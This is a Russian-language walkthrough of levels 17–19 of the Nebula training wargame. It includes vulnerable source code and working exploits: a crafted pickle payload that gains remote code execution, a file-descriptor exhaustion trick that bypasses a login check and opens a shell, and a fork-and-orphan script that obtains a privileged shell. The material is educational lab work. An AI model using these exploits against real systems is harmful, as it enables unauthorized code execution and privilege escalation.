#!/usr/bin/python import os import pickle import time import socket import signal signal.signal(signal.SIGCHLD, signal.SIG_IGN) def server(skt): line = skt.recv(1024) obj = pickle.loads(line) for i in obj: clnt.send("why did you send me " + i + "?\n") skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) skt.bind(('0.0.0.0', 10007)) skt.listen(10) while True: clnt, addr = skt.accept() if(os.fork() == 0): clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1])) server(clnt) exit(1)
Но уязвимость есть, она в строке: obj = pickle.loads(line). Вот тут можно подробней узнать об её эксплуатации. Напишем скрипт для исполнения команд:
#!/usr/bin/python import socket import pickle host = '10.0.31.116' port = 10007 cmd = '''cos system (S'getflag > /tmp/flag17' tR''' s = socket.socket() s.connect((host, port)) data = s.recv(1024) print(data) s.send(cmd) s.close()
После запуска получаем RCE:
$ ./flag17.py Accepted connection from 10.0.31.183:50700
level17@nebula:~$ cat /tmp/flag17 You have successfully executed getflag on a target account
Level18
Нас просят проанализировать исходник и найти уязвимости. Сделаем это:
level18.c
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <getopt.h> struct { FILE *debugfile; int verbose; int loggedin; } globals; #define dprintf(...) if(globals.debugfile) \ fprintf(globals.debugfile, __VA_ARGS__) #define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \ fprintf(globals.debugfile, __VA_ARGS__) #define PWFILE "/home/flag18/password" void login(char *pw) { FILE *fp; fp = fopen(PWFILE, "r"); if(fp) { char file[64]; if(fgets(file, sizeof(file) - 1, fp) == NULL) { dprintf("Unable to read password file %s\n", PWFILE); return; } fclose(fp); if(strcmp(pw, file) != 0) return; } dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : ""); globals.loggedin = 1; } void notsupported(char *what) { char *buffer = NULL; asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what); dprintf(what); free(buffer); } void setuser(char *user) { char msg[128]; sprintf(msg, "unable to set user to '%s' -- not supported.\n", user); printf("%s\n", msg); } int main(int argc, char **argv, char **envp) { char c; while((c = getopt(argc, argv, "d:v")) != -1) { switch(c) { case 'd': globals.debugfile = fopen(optarg, "w+"); if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg); setvbuf(globals.debugfile, NULL, _IONBF, 0); break; case 'v': globals.verbose++; break; } } dprintf("Starting up. Verbose level = %d\n", globals.verbose); setresgid(getegid(), getegid(), getegid()); setresuid(geteuid(), geteuid(), geteuid()); while(1) { char line[256]; char *p, *q; q = fgets(line, sizeof(line)-1, stdin); if(q == NULL) break; p = strchr(line, '\n'); if(p) *p = 0; p = strchr(line, '\r'); if(p) *p = 0; dvprintf(2, "got [%s] as input\n", line); if(strncmp(line, "login", 5) == 0) { dvprintf(3, "attempting to login\n"); login(line + 6); } else if(strncmp(line, "logout", 6) == 0) { globals.loggedin = 0; } else if(strncmp(line, "shell", 5) == 0) { dvprintf(3, "attempting to start shell\n"); if(globals.loggedin) { execve("/bin/sh", argv, envp); err(1, "unable to execve"); } dprintf("Permission denied\n"); } else if(strncmp(line, "logout", 4) == 0) { globals.loggedin = 0; } else if(strncmp(line, "closelog", 8) == 0) { if(globals.debugfile) fclose(globals.debugfile); globals.debugfile = NULL; } else if(strncmp(line, "site exec", 9) == 0) { notsupported(line + 10); } else if(strncmp(line, "setuser", 7) == 0) { setuser(line + 8); } } return 0; }
- void notsupported(char *what) -> dprintf(what); # А вот и уязвимость форматной строки;
- void login(char *pw) -> fp = fopen(PWFILE, «r»); # Файл открывается, но, его никто не закрывает.
Остановимся на функции login, тем более как раз она отвечает за авторизацию. Попробуем создать очень много файловых дескрипторов. В результате, fopen должна вернуть NULL, а затем судя по коду, выставится флаг авторизации. Нам нужно будет только запустить shell:
python -c 'print("login me\n"*2000 +"closelog\nshell")' | ./flag18 --init-file -d /dev/tty
Получаем кучу сообщений об авторизации, и собственно шелл:
logged in successfully (without password file)
ls
flag18 password
cat password
44226113-d394-4f46-9406-91888128e27a
getflag
You have successfully executed getflag on a target account
Level19
В описании к уровню говорится о том, что в программе есть ошибка, и искать её нужно в рантайме:
level19.c
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> int main(int argc, char **argv, char **envp) { pid_t pid; char buf[256]; struct stat statbuf; /* Get the parent's /proc entry, so we can verify its user id */ snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); /* stat() it */ if(stat(buf, &statbuf) == -1) { printf("Unable to check parent process\n"); exit(EXIT_FAILURE); } /* check the owner id */ if(statbuf.st_uid == 0) { /* If root started us, it is ok to start the shell */ execve("/bin/sh", argv, envp); err(1, "Unable to execve"); } printf("You are unauthorized to run this program\n"); }
Судя по коду, нужно, чтобы процесс был как-то запущен с UID=0. После некоторых поисков, находим статью, из которой узнаём, что если создать форк процесса, а затем убить его родителя, то система автоматически назначит этому форку нового родителя: процесс с PID=1 или так называемый init.
На Python, реализация такого подхода выглядит следующим образом:
#!/usr/bin/python import os, time def child(): print 'Child ', os.getpid() time.sleep(1) print "Running shell..." os.execv("/home/flag19/flag19", ('sh',)) def parent(): newpid = os.fork() if newpid == 0: child() else: pids = (os.getpid(), newpid) print "parent: %d, child: %d" % pids parent()
После запуска, получаем нужный нам шелл:
level19@nebula:/home/flag19$ cat|python /tmp/flag19.py parent: 3828, child: 3829 Child 3829 Running shell... id uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19) getflag You have successfully executed getflag on a target account
На этом всё.
